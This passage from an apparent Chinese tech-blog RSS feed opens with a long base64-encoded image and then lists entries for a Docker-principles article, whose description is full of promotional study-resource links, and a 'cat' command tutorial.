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&#39;)` ) 玩转 ASSII-Aar</description>
    </item>
    <item>
      <title>Docker原理（图解&#43;秒懂&#43;史上最全）</title>
      <link>https://bchobby.github.io/posts/f4d2eda8bf3ea74b60c060b6ce2e254b/</link>
      <pubDate>Wed, 13 Oct 2021 19:11:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4d2eda8bf3ea74b60c060b6ce2e254b/</guid>
      <description>文章很长，建议收藏起来，慢慢读！ Java 高并发 发烧友社群：疯狂创客圈 奉上以下珍贵的学习资源：&#xA;免费赠送 经典图书:《Java高并发核心编程（卷1）》 面试必备 + 大厂必备 +涨薪必备 加尼恩免费领&#xA;免费赠送 经典图书:《Java高并发核心编程（卷2）》 面试必备 + 大厂必备 +涨薪必备 加尼恩免费领&#xA;免费赠送 经典图书:《Netty Zookeeper Redis 高并发实战》 面试必备 + 大厂必备 +涨薪必备 加尼恩免费领&#xA;免费赠送 经典图书:《SpringCloud Nginx高并发核心编程》 面试必备 + 大厂必备 +涨薪必备 加尼恩免费领&#xA;免费赠送 资源宝库： Java 必备 百度网盘资源大合集 价值&amp;gt;10000元 加尼恩领取 推荐：入大厂 、做架构、大力提升Java 内功 的 精彩博文 入大厂 、做架构、大力提升Java 内功 必备的精彩博文2021 秋招涨薪1W + 必备的精彩博文1：Redis 分布式锁 （图解-秒懂-史上最全）2：Zookeeper 分布式锁 （图解-秒懂-史上最全）3: Redis与MySQL双写一致性如何保证？ （面试必备）4: 面试必备：秒杀超卖 解决方案 （史上最全）5:面试必备之：Reactor模式6: 10分钟看懂， Java NIO 底层原理7:TCP/IP（图解+秒懂+史上最全）8：Feign原理 （图解）9:DNS图解（秒懂 + 史上最全 + 高薪必备）10：CDN图解（秒懂 + 史上最全 + 高薪必备）11: 分布式事务（ 图解 + 史上最全 + 吐血推荐 ）12：seata AT模式实战（图解+秒懂+史上最全）13：seata 源码解读（图解+秒懂+史上最全）14：seata TCC模式实战（图解+秒懂+史上最全） Java 面试题 30个专题 , 史上最全 , 面试必刷阿里、京东、美团… 随意挑、横着走！！！1： JVM面试题（史上最强、持续更新、吐血推荐）2：Java基础面试题（史上最全、持续更新、吐血推荐3：架构设计面试题 （史上最全、持续更新、吐血推荐）4：设计模式面试题 （史上最全、持续更新、吐血推荐）17、分布式事务面试题 （史上最全、持续更新、吐血推荐）一致性协议 （史上最全）29、多线程面试题（史上最全）30、HR面经，过五关斩六将后，小心阴沟翻船！9.</description>
    </item>
    <item>
      <title>cat命令详解</title>
      <link>https://bchobby.github.io/posts/7d6c5d219a16f38edc3858bcf403641c/</link>
      <pubDate>Wed, 13 Oct 2021 10:45:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d6c5d219a16f38edc3858bcf403641c/</guid>
